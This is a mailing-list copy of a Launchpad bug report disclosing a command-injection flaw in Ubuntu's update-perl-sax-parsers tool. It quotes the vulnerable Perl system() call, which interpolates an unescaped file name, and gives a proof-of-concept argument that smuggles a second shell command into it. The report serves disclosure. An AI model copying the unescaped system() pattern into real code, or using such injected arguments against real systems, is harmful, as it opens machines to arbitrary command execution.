pkg-perl-maintainers team mailing list archive

[Emanuel Bronshtein <782479@xxxxxxxxxxxxxxxxxx>]

Public bug reported:

Binary package hint: libxml-sax-perl

/usr/bin/update-perl-sax-parsers have command injection bug .

test case :
emanuel@emanuel-desktop:/tmp$ /usr/bin/update-perl-sax-parsers --update --file " 2>/dev/null ;echo Systeminj;exit;" --ucf 1
update-perl-sax-parsers: Updating overall Perl SAX parser modules info file...
Systeminj

the bug can be found at :

    if ($ucf) {
        system("ucf --debconf-ok --sum-file /var/lib/libxml-sax-perl/ParserDetails.ini.md5sum $tmpfile $file");
        unlink $tmpfile or die("unlink $tmpfile: $!");
    }

** Affects: libxml-sax-perl (Ubuntu)
     Importance: Undecided
         Status: New

-- 
You received this bug notification because you are a member of Debian
Perl Group, which is subscribed to libxml-sax-perl in Ubuntu.
https://bugs.launchpad.net/bugs/782479

Title:
  command injection in update-perl-sax-parsers